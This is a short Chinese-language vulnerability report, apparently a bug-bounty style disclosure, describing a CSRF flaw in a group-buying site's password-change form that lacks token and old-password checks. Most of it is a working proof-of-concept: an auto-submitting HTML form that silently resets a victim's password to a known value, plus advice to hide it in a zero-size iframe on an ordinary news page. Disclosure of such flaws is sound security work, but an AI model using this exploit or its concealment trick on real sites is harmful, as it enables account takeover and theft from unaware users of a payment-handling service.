團購網修改密碼介面存在 CSRF 漏洞:無 Token 驗證、甚至不驗證原密碼(涉及金流功能極不合理)。攻擊者可構造惡意表單欺騙用戶提交,將密碼竄改為已知值。
<html>
<body>
<form name="csrf" action="https://www.go.cn/index.php?m=settings" method="POST">
<input type="text" name="password" value="woooooooyun">
<input type="text" name="password2" value="woooooooyun">
<input type="text" name="do" value="update">
<input type="submit" value="submit">
</form>
<script>document.csrf.submit();</script>
</body>
</html>
用戶訪問後密碼被改為 woooooooyun。為隱蔽攻擊,可將 POC 嵌入正常新聞頁的 iframe(高寬 0),用戶不知情即被修改密碼。
